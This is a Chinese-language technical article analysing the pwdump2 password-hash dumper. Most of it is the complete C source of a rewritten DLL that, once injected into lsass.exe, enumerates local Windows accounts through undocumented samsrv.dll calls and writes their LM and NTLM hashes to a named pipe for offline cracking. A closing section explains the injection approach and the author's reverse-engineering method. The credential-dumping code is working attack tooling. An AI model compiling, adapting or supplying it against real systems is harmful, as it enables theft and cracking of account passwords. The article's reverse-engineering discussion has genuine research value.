☆ pwdump2/samdump.c浅析与改进 (txt版全文https://scz.617.cn/windows/200401041902.txt) samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory() 释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。 samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、 NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。 我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论 加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下: -------------------------------------------------------------------------- SamIConnect SamrEnumerateDomainsInSamServer SamrLookupDomainInSamServer SamrOpenDomain SamrEnumerateUsersInDomain SamrOpenUser SamrQueryInformationUser SamIFree_SAMPR_USER_INFO_BUFFER SamrCloseHandle SamIFree_SAMPR_ENUMERATION_BUFFER SamrCloseHandle LocalFree SamIFree_SAMPR_ENUMERATION_BUFFER SamrCloseHandle -------------------------------------------------------------------------- SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未 曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示 的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好 了。 使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain, 理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。 相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。 -------------------------------------------------------------------------- /* * (C) Todd Sabin 1997,1998,2000 All rights reserved. * ----------------------------------------------------------------------- * Rewrite : scz * : http://www.nsfocus.com * Version : 1.10 * Compile : For x86/EWindows XP SP1 & VC 7 * : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE * : * Create : 2003-12-29 21:42 * Modify : 2004-01-04 17:26 * ----------------------------------------------------------------------- * The only thing they can't take from us are our minds. !H */ /************************************************************************ * * * Head File * * * ************************************************************************/ /* * #define _WIN32_WINNT 0x0501 */ #include #include #include /* * for _vsnprintf() */ #include #include /************************************************************************ * * * Macro * * * ************************************************************************/ #pragma comment( linker, "/INCREMENTAL:NO" ) #pragma comment( lib, "kernel32.lib" ) #define VERSION "1.10" /* * you'll find a list of NTSTATUS status codes in the DDK header * ntstatus.h (\WINDDK\2600.1106\inc\ddk\wxp\) */ typedef LONG NTSTATUS; #define NT_SUCCESS(status) ((NTSTATUS)(status)>=0) #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L) #define SamUserOWFPasswordInformation 0x12 #pragma pack( push, 1 ) /* * ntdef.h */ typedef struct _UNICODE_STRING { USHORT Length; // +0x000 USHORT MaximumLength; // +0x002 PWSTR Buffer; // +0x004 // +0x008 } UNICODE_STRING, *PUNICODE_STRING; /* * !!! * from Luke Kenneth Casson Leighton */ typedef struct _SAM_DOMAIN_USER { DWORD userrid; // +0x000 UNICODE_STRING username; // +0x004,这是一个结构,而非结构指针 // +0x00c,该结构总共占12字节 } SAM_DOMAIN_USER, *PSAM_DOMAIN_USER; /* * !!! * (C) Todd Sabin 1997,1998,2000 All rights reserved. */ typedef struct _SAM_DOMAIN_USER_ENUMERATION { DWORD DomainUserCount; // +0x000,数组元素个数 PSAM_DOMAIN_USER DomainUser; // +0x004,动态分配空间的结构数组 // +0x008,后面还有没有成员,目前看不出来 /* * ... ... */ } SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION; /* * 自己Hacking得到的结构,不可靠 */ typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION // Information Class 0x12 { unsigned char NTLMHash[16]; // +0x000,16字节的NTLM Hash unsigned char LMHash[16]; // +0x010,16字节的LM Hash unsigned short int Unknown_020; // +0x020,参samsrv!SampGetCurrentAdminPassword() unsigned char Unknown_022; // +0x022 // +0x023 } SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION; typedef struct _SAM_SERVER_DOMAIN { DWORD unused; // +0x000,未使用,总为0(猜测) UNICODE_STRING domainname; // +0x004,这是一个结构,而非结构指针 // +0x00c,该结构总共占12字节 } SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN; typedef struct _SAM_DOMAIN_ENUMERATION { DWORD ServerDomainCount; // +0x000,数组元素个数 PSAM_SERVER_DOMAIN ServerDomain; // +0x004,动态分配空间的结构数组 // +0x008,后面还有没有成员,目前看不出来 /* * ... ... */ } SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION; #pragma pack( pop ) /* * 这些Undocumented Win32 API由samsrv.dll引出(export) */ typedef NTSTATUS ( WINAPI *SAMICONNECT ) ( DWORD Unknown_0, // 意义不明,调用时一般为0 PHANDLE pSamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE DWORD AccessMask, // Access Mask DWORD Unknown_1 // 意义不明,调用时一般为1 ); typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN ) ( HANDLE SamHandle, // 源自sam connect操作 DWORD AccessMask, // Access Mask PSID DomainSid, // 这个域不是通常所说NT域 PHANDLE pDomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE ); typedef NTSTATUS ( WINAPI *SAMROPENUSER ) ( HANDLE DomainHandle, // 源自sam open domain操作 DWORD AccessMask, // Access Mask DWORD Rid, // 比如500,0x1F4,Administrator PHANDLE pUserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE ); typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER ) ( HANDLE UserHandle, // 源自sam open user操作 DWORD InfoClass, // 其实是SAM_USER_INFORMATION_CLASS枚举型,为 // 了减少编译难度,换成DWORD型 PVOID UserInfo // 随InfoClass不同,对应不同的结构 ); typedef VOID ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER ) ( PVOID UserInfo, // 随InfoClass不同,对应不同的结构 DWORD InfoClass // 其实是SAM_USER_INFORMATION_CLASS枚举型,为 // 了减少编译难度,换成DWORD型 ); typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE ) ( PHANDLE pHandle // 可以关闭各种sam操作相关的句柄 // 是指向HANDLE的指针,不是HANDLE ); typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN ) ( HANDLE DomainHandle, // 源自sam open domain操作 PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle // 是指向HANDLE的指针,不是HANDLE DWORD AccessMask, // filter,Access Mask // 如欲枚举所有帐号,指定0 PPSAM_DOMAIN_USER_ENUMERATION pDomainUserEnumeration, // [out]参数 DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize // 可以指定成0x0000FFFF PDWORD pUserCount // [out]参数,枚举出的帐号数目 ); typedef VOID ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER ) ( PVOID EnumerationBuf // 其实是PSAM_ENUMERATION_BUFFER // 调用时可能传PSAM_DOMAIN_USER_ENUMERATION // 或者传PSAM_SERVER_DOMAIN_ENUMERATION ); typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER ) ( HANDLE SamHandle, // 源自sam connect操作 PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle // 是指向HANDLE的指针,不是HANDLE PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration, // [out]参数 DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize // 应该也可以指定成0x0000FFFF PDWORD pDomainCount // [out]参数,枚举出的Domain数目 ); typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER ) ( HANDLE SamHandle, // 源自sam connect操作 PUNICODE_STRING DomainName, // PSID *pDomainSid // [out]参数,用LocalFree()释放 ); /* * 这些Native API由ntdll.dll引出(export) */ typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR ) ( IN NTSTATUS status ); /************************************************************************ * * * Function Prototype * * * ************************************************************************/ static void getlmhash ( void ); static BOOL LocateNtdllEntry ( void ); static BOOL LocateSamsrvEntry ( void ); static void PrintHash ( unsigned char *hash ); static void PrintUnicodeString ( PUNICODE_STRING us ); static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId ); static void PrintZwErrorCUI ( char *message, NTSTATUS status ); static int PrivatePrintf ( HANDLE handle, char *buf, size_t count, const char *format, ... ); __declspec(dllexport) DWORD __cdecl getlmhashdll_main ( char *pipename ); /************************************************************************ * * * Static Global Var * * * ************************************************************************/ static HANDLE outfile = INVALID_HANDLE_VALUE; static char *outbuf = NULL; static size_t outbuflen = 0; static HMODULE samsrv = NULL; /* * 由samsrv.dll引出的Undocumented Win32 API函数指针 */ static SAMICONNECT SamIConnect = NULL; static SAMROPENDOMAIN SamrOpenDomain = NULL; static SAMROPENUSER SamrOpenUser = NULL; static SAMRQUERYINFORMATIONUSER SamrQueryInformationUser = NULL; static SAMIFREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = NULL; static SAMRCLOSEHANDLE SamrCloseHandle = NULL; static SAMRENUMERATEUSERSINDOMAIN SamrEnumerateUsersInDomain = NULL; static SAMIFREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = NULL; static SAMRENUMERATEDOMAINSINSAMSERVER SamrEnumerateDomainsInSamServer = NULL; static SAMRLOOKUPDOMAININSAMSERVER SamrLookupDomainInSamServer = NULL; /* * 由ntdll.dll引出的Native API函数指针 */ static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL; /************************************************************************/ static void getlmhash ( void ) { NTSTATUS status; HANDLE SamHandle = NULL, EnumerationHandle = NULL, DomainHandle = NULL, UserHandle = NULL; PSAM_SERVER_DOMAIN_ENUMERATION ServerDomainEnumeration = NULL; DWORD DomainCount = 0, UserCount = 0, Count = 0; PSID DomainSid = NULL; PSAM_DOMAIN_USER_ENUMERATION DomainUserEnumeration = NULL; BOOL nomoredata = FALSE; PSAM_USER_OWF_PASSWORD_INFORMATION UserOWFPasswordInfo = NULL; status = SamIConnect ( 0, // 意义不明,调用时一般为0 &SamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE 0x10000030, // Access Mask // Generic read // Open domain // Enum domains 1 // 意义不明,调用时一般为1 ); if ( !NT_SUCCESS( status ) ) { PrintZwErrorCUI ( "SamIConnect() failed", status ); goto getlmhash_exit; } status = SamrEnumerateDomainsInSamServer ( SamHandle, // 源自sam connect操作 &EnumerationHandle, // [in/out]参数,Resume Handle // 是指向HANDLE的指针,不是HANDLE &ServerDomainEnumeration, // [out]参数 0x0000FFFF, // 意义未明,似乎对应Pref MaxSize // 应该也可以指定成0x0000FFFF &DomainCount // [out]参数,枚举出的Domain数目 ); if ( !NT_SUCCESS( status ) ) { PrintZwErrorCUI ( "SamrEnumerateDomainsInSamServer() failed", status ); goto getlmhash_exit; } if ( 2 != DomainCount ) { goto getlmhash_exit; } status = SamrLookupDomainInSamServer ( SamHandle, // 源自sam connect操作 &ServerDomainEnumeration->ServerDomain[0].domainname, // PUNICODE_STRING &DomainSid // [out]参数,用LocalFree()释放 ); if ( !NT_SUCCESS( status ) ) { PrintZwErrorCUI ( "SamrLookupDomainInSamServer() failed", status ); goto getlmhash_exit; } status = SamrOpenDomain ( SamHandle, // 源自sam connect操作 0x10000000, // Access Mask // SampGetCurrentAdminPassword()中用的是这个值 DomainSid, // 这个域不是通常所说NT域 &DomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE ); if ( !NT_SUCCESS( status ) ) { PrintZwErrorCUI ( "SamrOpenDomain() failed", status ); goto getlmhash_exit; } /* * TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽 * 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定 * 要将该[in/out]参数清零。 */ EnumerationHandle = NULL; do { status = SamrEnumerateUsersInDomain ( DomainHandle, // Context Handle &EnumerationHandle, // [in/out]参数,Resume Handle // 是指向HANDLE的指针,不是HANDLE 0, // filter,Access Mask // 如欲枚举所有帐号,指定0 &DomainUserEnumeration, // [out]参数 0x0000FFFF, // 意义未明,似乎对应Pref MaxSize &UserCount // [out]参数,枚举出的帐号数目 ); if ( !NT_SUCCESS( status ) ) { PrintZwErrorCUI ( "SamrEnumerateUsersInDomain() failed", status ); goto getlmhash_exit; } /* * from ntstatus.h(\WINDDK\2600.1106\inc\ddk\wxp\) * * Returned by enumeration APIs to indicate more information is * available to successive calls. * * #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L) */ if ( STATUS_MORE_ENTRIES != status ) { nomoredata = TRUE; } Count = 0; while ( Count < UserCount ) { status = SamrOpenUser ( DomainHandle, // 源自sam open domain操作 0x10000000, // Access Mask DomainUserEnumeration->DomainUser[Count].userrid, // RID &UserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE ); if ( !NT_SUCCESS( status ) ) { PrintZwErrorCUI ( "SamrOpenUser() failed", status ); goto getlmhash_exit; } status = SamrQueryInformationUser ( UserHandle, // 源自sam open user操作 SamUserOWFPasswordInformation, // InformationClass,0x12,其实是 // SAM_USER_INFORMATION_CLASS枚举型, // 为了减少编译难度,换成DWORD型 &UserOWFPasswordInfo // 随InformationClass不同,对应不同的结构 ); if ( !NT_SUCCESS( status ) ) { PrintZwErrorCUI ( "SamrQueryInformationUser() failed", status ); goto getlmhash_exit; } PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username ); PrivatePrintf ( outfile, outbuf, outbuflen, ":%u:", DomainUserEnumeration->DomainUser[Count].userrid ); PrintHash( UserOWFPasswordInfo->LMHash ); PrivatePrintf ( outfile, outbuf, outbuflen, ":" ); PrintHash( UserOWFPasswordInfo->NTLMHash ); PrivatePrintf ( outfile, outbuf, outbuflen, ":::\n" ); SamIFree_SAMPR_USER_INFO_BUFFER ( UserOWFPasswordInfo, SamUserOWFPasswordInformation // InformationClass,0x12 ); UserOWFPasswordInfo = NULL; status = SamrCloseHandle ( &UserHandle ); UserHandle = NULL; if ( !NT_SUCCESS( status ) ) { PrintZwErrorCUI ( "SamrCloseHandle() failed for UserHandle", status ); goto getlmhash_exit; } Count++; } /* end of while */ SamIFree_SAMPR_ENUMERATION_BUFFER ( DomainUserEnumeration ); DomainUserEnumeration = NULL; } while ( FALSE == nomoredata ); getlmhash_exit: if ( NULL != UserOWFPasswordInfo ) { SamIFree_SAMPR_USER_INFO_BUFFER ( UserOWFPasswordInfo, SamUserOWFPasswordInformation // InformationClass,0x12 ); UserOWFPasswordInfo = NULL; } if ( NULL != UserHandle ) { SamrCloseHandle ( &UserHandle ); UserHandle = NULL; } if ( NULL != DomainUserEnumeration ) { SamIFree_SAMPR_ENUMERATION_BUFFER ( DomainUserEnumeration ); DomainUserEnumeration = NULL; } if ( NULL != DomainHandle ) { SamrCloseHandle ( &DomainHandle ); DomainHandle = NULL; } if ( NULL != DomainSid ) { LocalFree( DomainSid ); DomainSid = NULL; } if ( NULL != ServerDomainEnumeration ) { SamIFree_SAMPR_ENUMERATION_BUFFER ( ServerDomainEnumeration ); ServerDomainEnumeration = NULL; } if ( NULL != SamHandle ) { SamrCloseHandle ( &SamHandle ); SamHandle = NULL; } return; } /* end of getlmhash */ /* * ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编 * 译难度,于是换用GetProcAddress()获取这些函数地址。 */ static BOOL LocateNtdllEntry ( void ) { BOOL ret = FALSE; char ntdllname[] = "ntdll"; HMODULE ntdll = NULL; /* * returns a handle to a mapped module without incrementing its * reference count */ ntdll = GetModuleHandle( ntdllname ); if ( NULL == ntdll ) { PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() ); return( ret ); } RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress ( ntdll, "RtlNtStatusToDosError" ); if ( !RtlNtStatusToDosError ) { goto LocateNtdllEntry_exit; } ret = TRUE; LocateNtdllEntry_exit: if ( FALSE == ret ) { PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() ); } if ( NULL != ntdll ) { ntdll = NULL; } return( ret ); } /* end of LocateNtdllEntry */ /* * samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在, * 被迫利用GetProcAddress()获取这些函数地址。 */ static BOOL LocateSamsrvEntry ( void ) { BOOL ret = FALSE; char samsrvname[] = "samsrv"; samsrv = LoadLibrary( samsrvname ); if ( NULL == samsrv ) { PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() ); return( ret ); } SamIConnect = ( SAMICONNECT )GetProcAddress ( samsrv, "SamIConnect" ); if ( !SamIConnect ) { goto LocateSamsrvEntry_exit; } SamrOpenDomain = ( SAMROPENDOMAIN )GetProcAddress ( samsrv, "SamrOpenDomain" ); if ( !SamrOpenDomain ) { goto LocateSamsrvEntry_exit; } SamrOpenUser = ( SAMROPENUSER )GetProcAddress ( samsrv, "SamrOpenUser" ); if ( !SamrOpenUser ) { goto LocateSamsrvEntry_exit; } SamrQueryInformationUser = ( SAMRQUERYINFORMATIONUSER )GetProcAddress ( samsrv, "SamrQueryInformationUser" ); if ( !SamrQueryInformationUser ) { goto LocateSamsrvEntry_exit; } SamIFree_SAMPR_USER_INFO_BUFFER = ( SAMIFREE_SAMPR_USER_INFO_BUFFER )GetProcAddress ( samsrv, "SamIFree_SAMPR_USER_INFO_BUFFER" ); if ( !SamIFree_SAMPR_USER_INFO_BUFFER ) { goto LocateSamsrvEntry_exit; } SamrCloseHandle = ( SAMRCLOSEHANDLE )GetProcAddress ( samsrv, "SamrCloseHandle" ); if ( !SamrCloseHandle ) { goto LocateSamsrvEntry_exit; } SamrEnumerateUsersInDomain = ( SAMRENUMERATEUSERSINDOMAIN )GetProcAddress ( samsrv, "SamrEnumerateUsersInDomain" ); if ( !SamrEnumerateUsersInDomain ) { goto LocateSamsrvEntry_exit; } SamIFree_SAMPR_ENUMERATION_BUFFER = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress ( samsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER" ); if ( !SamIFree_SAMPR_ENUMERATION_BUFFER ) { goto LocateSamsrvEntry_exit; } SamrEnumerateDomainsInSamServer = ( SAMRENUMERATEDOMAINSINSAMSERVER )GetProcAddress ( samsrv, "SamrEnumerateDomainsInSamServer" ); if ( !SamrEnumerateDomainsInSamServer ) { goto LocateSamsrvEntry_exit; } SamrLookupDomainInSamServer = ( SAMRLOOKUPDOMAININSAMSERVER )GetProcAddress ( samsrv, "SamrLookupDomainInSamServer" ); if ( !SamrLookupDomainInSamServer ) { goto LocateSamsrvEntry_exit; } ret = TRUE; LocateSamsrvEntry_exit: if ( FALSE == ret ) { PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() ); } /* * 后面还要用这些函数指针,这里不得释放samsrv.dll */ return( ret ); } /* end of LocateSamsrvEntry */ static void PrintHash ( unsigned char *hash ) { unsigned int i; char buf[33]; char *p = buf; for ( i = 0; i < 16; i++ ) { sprintf( p, "%02X", hash[i] ); p += 2; } PrivatePrintf ( outfile, outbuf, outbuflen, "%s", buf ); return; } /* end of PrintHash */ static void PrintUnicodeString ( PUNICODE_STRING us ) { int i = 0; unsigned int len = 0; unsigned char *ansibuf = NULL, *ansistr = NULL; if ( NULL == us ) { goto PrintUnicodeString_exit; } /* * 将Unicode串转换成DBCS串再显示,否则中文串显示有问题 */ len = us->Length + 1; ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len ); if ( NULL == ansibuf ) { ansistr = "No memory for ansibuf"; } else { i = WideCharToMultiByte ( CP_ACP, 0, us->Buffer, ( int )( us->Length / 2 ), ansibuf, len, NULL, NULL ); if ( 0 == i ) { ansistr = "WideCharToMultiByte() failed"; } else { ansistr = ansibuf; } } PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf ); PrintUnicodeString_exit: if ( NULL != ansibuf ) { HeapFree( GetProcessHeap(), 0, ansibuf ); ansibuf = NULL; } return; } /* end of PrintUnicodeString */ static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId ) { char *errMsg; FormatMessage ( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwMessageId, MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ), ( LPTSTR )&errMsg, 0, NULL ); PrivatePrintf ( outfile, outbuf, outbuflen, "%s: %s", message, errMsg ); LocalFree ( errMsg ); return; } /* end of PrintWin32ErrorCUI */ static void PrintZwErrorCUI ( char *message, NTSTATUS status ) { char *errMsg; FormatMessage ( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, RtlNtStatusToDosError( status ), MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ), ( LPTSTR )&errMsg, 0, NULL ); PrivatePrintf ( outfile, outbuf, outbuflen, "%s: %s", message, errMsg ); LocalFree ( errMsg ); return; } /* end of PrintZwErrorCUI */ static int PrivatePrintf ( HANDLE handle, char *buf, size_t count, const char *format, ... ) { va_list arg; int num; DWORD NumberOfBytes; if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format ) { return( -1 ); } /* * 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦 * 出现内存访问违例,将导致整个操作系统崩溃! */ __try { va_start( arg, format ); num = _vsnprintf ( buf, count - 1, format, arg ); if ( num >= 0 ) { WriteFile ( handle, buf, num, &NumberOfBytes, NULL ); } va_end( arg ); } __except ( EXCEPTION_EXECUTE_HANDLER ) { num = -1; } return( num ); } /* end of PrivatePrintf */ DWORD __cdecl getlmhashdll_main ( char *pipename ) { DWORD ret = EXIT_FAILURE; outbuflen = 1024; outbuf = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen ); if ( NULL == outbuf ) { goto getlmhashdll_main_exit; } if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) ) { goto getlmhashdll_main_exit; } outfile = CreateFile ( pipename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if ( INVALID_HANDLE_VALUE == outfile ) { goto getlmhashdll_main_exit; } if ( FALSE == LocateNtdllEntry() ) { goto getlmhashdll_main_exit; } if ( FALSE == LocateSamsrvEntry() ) { goto getlmhashdll_main_exit; } /* * 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、 * NTLM Hash */ getlmhash(); ret = EXIT_SUCCESS; getlmhashdll_main_exit: if ( NULL != samsrv ) { FreeLibrary( samsrv ); samsrv = NULL; } if ( INVALID_HANDLE_VALUE != outfile ) { CloseHandle( outfile ); outfile = INVALID_HANDLE_VALUE; } if ( NULL != outbuf ) { HeapFree( GetProcessHeap(), 0, outbuf ); outbuf = NULL; } outbuflen = 0; return( ret ); } /* end of getlmhashdll_main */ BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad ) { DisableThreadLibraryCalls( hinstDll ); return( TRUE ); } /* end of DllMain */ /************************************************************************/ -------------------------------------------------------------------------- 1) pwdump2在做什么。 假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe 进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress 获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号 的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。 关于LM Hash脆弱性,参看<>。 https://scz.617.cn/network/200210141957.txt 第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的 套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。 2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。 这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲, 在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期 望中的LM Hash、NTLM Hash。 开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。 最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息: SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。 3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过 程、思想的发展可能是怎样的。 最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在 Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。 逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽 象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接 近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。 4) 在此基础上我们还能继续Hacking出其它有用的东西吗。 目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。 有些东西可能目前阶段没有直接用途,但日后肯定会用到的。 枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中 指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程 序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。 5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比 如选题方向、研究方法、工具使用等等。 由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标 系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根 据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种 数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然, 有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误 结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN 中的Win32 API这三者之间找到必然联系。 有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看 pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么 要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。 看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。 ☆ 参考资源 [ 2] Windows NT Security, Part 1 http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143 Windows NT Security, Part 2 http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492